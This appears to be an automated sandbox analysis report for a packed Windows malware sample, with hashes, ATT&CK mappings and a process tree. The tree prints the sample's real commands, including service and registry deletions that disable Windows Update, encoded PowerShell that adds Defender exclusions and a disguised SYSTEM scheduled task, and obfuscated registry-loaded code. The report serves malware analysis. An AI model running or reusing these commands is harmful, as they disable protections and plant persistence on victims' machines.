aa0a1f379ba188db1bec2c91b483e9b628ddc319da17876cc0bab9d75b756cd2

General

Target

tmp.exe
Size

4.9MB
MD5

619c8566b61a49d28d25590a16611849
SHA1

d6c75e985d9ae6ff79b29bf39cac1d7514e7a473
SHA256

aa0a1f379ba188db1bec2c91b483e9b628ddc319da17876cc0bab9d75b756cd2
SHA512

a367b2188076923c050879685196dcbbe036dd317e0c976a45999008938fe15621ed69691e9817965df0957abe1a00017ddbe6fa0b0d83a6c5b66ca08de63363
SSDEEP

98304:ZlsCMnpZW6zAEqWn4mb8AarnNGEsOOFUySajl69XE:bsdnm68Ev44/2nk8OF1xjl69

Score

10^/10

discovery evasion exploit vmprotect

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Drops file in Drivers directory 1 IoCs

Processes:

tmp.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts tmp.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1764 takeown.exe
1360 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tmp.exe

pid	process
1764	takeown.exe
1360	icacls.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral2/memory/2212-132-0x0000000000D60000-0x00000000016E4000-memory.dmp	vmprotect

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tmp.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation tmp.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exe

pid process

1360 icacls.exe
1764 takeown.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

25 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

tmp.exe

description pid process target process

PID 2212 set thread context of 3508 2212 tmp.exe conhost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	tmp.exe

pid	process
1360	icacls.exe
1764	takeown.exe

flow	ioc
25	ip-api.com

description	pid	process	target process
PID 2212 set thread context of 3508	2212	tmp.exe	conhost.exe

Drops file in Windows directory 3 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4928 sc.exe
3516 sc.exe
3384 sc.exe
64 sc.exe
384 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

4104 reg.exe
3304 reg.exe
3004 reg.exe
2228 reg.exe
4876 reg.exe
3216 reg.exe
4240 reg.exe
2652 reg.exe
8 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exetmp.exepowershell.exe

pid process

3932 powershell.exe
3932 powershell.exe
2212 tmp.exe
2832 powershell.exe

pid	process
4928	sc.exe
3516	sc.exe
3384	sc.exe
64	sc.exe
384	sc.exe

pid	process
4104	reg.exe
3304	reg.exe
3004	reg.exe
2228	reg.exe
4876	reg.exe
3216	reg.exe
4240	reg.exe
2652	reg.exe
8	reg.exe

pid	process
3932	powershell.exe
3932	powershell.exe
2212	tmp.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exepowercfg.exetmp.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	1696	powercfg.exe
Token: SeCreatePagefilePrivilege	1696	powercfg.exe
Token: SeDebugPrivilege	2212	tmp.exe
Token: SeShutdownPrivilege	3672	powercfg.exe
Token: SeCreatePagefilePrivilege	3672	powercfg.exe
Token: SeShutdownPrivilege	1936	powercfg.exe
Token: SeCreatePagefilePrivilege	1936	powercfg.exe
Token: SeShutdownPrivilege	4148	powercfg.exe
Token: SeCreatePagefilePrivilege	4148	powercfg.exe
Token: SeTakeOwnershipPrivilege	1764	takeown.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

tmp.execmd.execmd.exe

description	pid	process	target process
PID 2212 wrote to memory of 3932	2212	tmp.exe	powershell.exe
PID 2212 wrote to memory of 3932	2212	tmp.exe	powershell.exe
PID 2212 wrote to memory of 1796	2212	tmp.exe	cmd.exe
PID 2212 wrote to memory of 1796	2212	tmp.exe	cmd.exe
PID 2212 wrote to memory of 1768	2212	tmp.exe	cmd.exe
PID 2212 wrote to memory of 1768	2212	tmp.exe	cmd.exe
PID 1796 wrote to memory of 4928	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 4928	1796	cmd.exe	sc.exe
PID 1768 wrote to memory of 1696	1768	cmd.exe	powercfg.exe
PID 1768 wrote to memory of 1696	1768	cmd.exe	powercfg.exe
PID 1768 wrote to memory of 3672	1768	cmd.exe	powercfg.exe
PID 1768 wrote to memory of 3672	1768	cmd.exe	powercfg.exe
PID 1796 wrote to memory of 3516	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 3516	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 3384	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 3384	1796	cmd.exe	sc.exe
PID 1768 wrote to memory of 1936	1768	cmd.exe	powercfg.exe
PID 1768 wrote to memory of 1936	1768	cmd.exe	powercfg.exe
PID 1796 wrote to memory of 64	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 64	1796	cmd.exe	sc.exe
PID 1768 wrote to memory of 4148	1768	cmd.exe	powercfg.exe
PID 1768 wrote to memory of 4148	1768	cmd.exe	powercfg.exe
PID 1796 wrote to memory of 384	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 384	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 4240	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 4240	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 4104	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 4104	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 3304	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 3304	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 2652	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 2652	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 3004	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 3004	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1764	1796	cmd.exe	takeown.exe
PID 1796 wrote to memory of 1764	1796	cmd.exe	takeown.exe
PID 1796 wrote to memory of 1360	1796	cmd.exe	icacls.exe
PID 1796 wrote to memory of 1360	1796	cmd.exe	icacls.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 3508	2212	tmp.exe	conhost.exe
PID 2212 wrote to memory of 2832	2212	tmp.exe	powershell.exe
PID 2212 wrote to memory of 2832	2212	tmp.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcAB3AHkAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAHQAbQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBvAHYAYwBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdgBsAHUAIwA+AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4928

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3516

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3384

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:64

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:384

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:4240

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:4104

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:3304

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:2652

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:3004

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1360

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2228

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:8

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4876

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3216

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:2668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1852

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1696

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3672

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1936

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4148

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:3508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAcwBzACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEgATQBBAFoAdwBBAGoAQQBEADQAQQBJAEEAQgBUAEEASABRAEEAWQBRAEIAeQBBAEgAUQBBAEwAUQBCAFEAQQBIAEkAQQBiAHcAQgBqAEEARwBVAEEAYwB3AEIAegBBAEMAQQBBAEwAUQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEARgBBAEEAWQBRAEIAMABBAEcAZwBBAEkAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBJAEEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEgATQBBAFgAQQBCAE4AQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCAGMAQQBFAFUAQQBaAEEAQgBuAEEARwBVAEEAVgBRAEIAdwBBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBjAGcAQgBjAEEARQAwAEEAYQBRAEIAagBBAEgASQBBAGIAdwBCAHoAQQBHADgAQQBaAGcAQgAwAEEARQBVAEEAWgBBAEIAbgBBAEcAVQBBAFYAUQBCAHcAQQBHAFEAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAaQBBAEMAQQBBAFUAZwBCADEAQQBHADQAQQBRAFEAQgB6AEEAQwBBAEEAUABBAEEAagBBAEcAWQBBAFoAQQBCAHAAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAGYAagAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAGMAZQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHAAagAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlACAAVQBwAGQAYQB0AGUAIAAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcQAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlAFUAcABkAGEAdABlAHIAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGoAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAZABiAGgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAgAFUAcABkAGEAdABlACAAJwA7AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
2⤵
PID:4496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1812

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e6ca02de-7ca1-491a-a6d7-37a75ce71249}
1⤵
PID:3076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHMAZwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEUAZABnAGUAVQBwAGQAYQB0AGUAcgBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUALgBlAHgAZQAnACAALQBWAGUAcgBiACAAUgB1AG4AQQBzACAAPAAjAGYAZABpACMAPgA="
1⤵
PID:1212

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Service Stop

1

T1489

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
memory/8-173-0x0000000000000000-mapping.dmp

Download
memory/60-197-0x00007FF8FD290000-0x00007FF8FD2A0000-memory.dmp

Filesize
64KB

Download
memory/64-149-0x0000000000000000-mapping.dmp

Download
memory/384-151-0x0000000000000000-mapping.dmp

Download
memory/592-196-0x00007FF8FD290000-0x00007FF8FD2A0000-memory.dmp

Filesize
64KB

Download
memory/1360-158-0x0000000000000000-mapping.dmp

Download
memory/1696-143-0x0000000000000000-mapping.dmp

Download
memory/1764-157-0x0000000000000000-mapping.dmp

Download
memory/1768-141-0x0000000000000000-mapping.dmp

Download
memory/1792-171-0x00000000041E0000-0x0000000004808000-memory.dmp

Filesize
6.2MB

Download
memory/1792-169-0x00000000039F0000-0x0000000003A26000-memory.dmp

Filesize
216KB

Download
memory/1792-186-0x0000000004A80000-0x0000000004AE6000-memory.dmp

Filesize
408KB

Download
memory/1792-179-0x0000000004000000-0x0000000004022000-memory.dmp

Filesize
136KB

Download
memory/1792-183-0x0000000004910000-0x0000000004976000-memory.dmp

Filesize
408KB

Download
memory/1796-140-0x0000000000000000-mapping.dmp

Download
memory/1812-187-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/1812-188-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/1812-170-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/1812-185-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/1812-174-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/1812-176-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/1852-192-0x0000000000000000-mapping.dmp

Download
memory/1936-148-0x0000000000000000-mapping.dmp

Download
memory/2212-139-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/2212-132-0x0000000000D60000-0x00000000016E4000-memory.dmp

Filesize
9.5MB

Download
memory/2212-133-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/2212-144-0x0000000003870000-0x0000000003882000-memory.dmp

Filesize
72KB

Download
memory/2228-172-0x0000000000000000-mapping.dmp

Download
memory/2652-155-0x0000000000000000-mapping.dmp

Download
memory/2668-193-0x0000000000000000-mapping.dmp

Download
memory/2832-194-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/2832-167-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/2832-164-0x0000000000000000-mapping.dmp

Download
memory/3004-156-0x0000000000000000-mapping.dmp

Download
memory/3076-181-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3076-182-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/3076-184-0x00007FF93C7D0000-0x00007FF93C88E000-memory.dmp

Filesize
760KB

Download
memory/3076-190-0x00007FF93D210000-0x00007FF93D405000-memory.dmp

Filesize
2.0MB

Download
memory/3076-189-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3076-177-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3076-178-0x00000001400033F4-mapping.dmp

Download
memory/3076-180-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3216-191-0x0000000000000000-mapping.dmp

Download
memory/3304-154-0x0000000000000000-mapping.dmp

Download
memory/3384-147-0x0000000000000000-mapping.dmp

Download
memory/3508-159-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3508-168-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3508-161-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3508-162-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
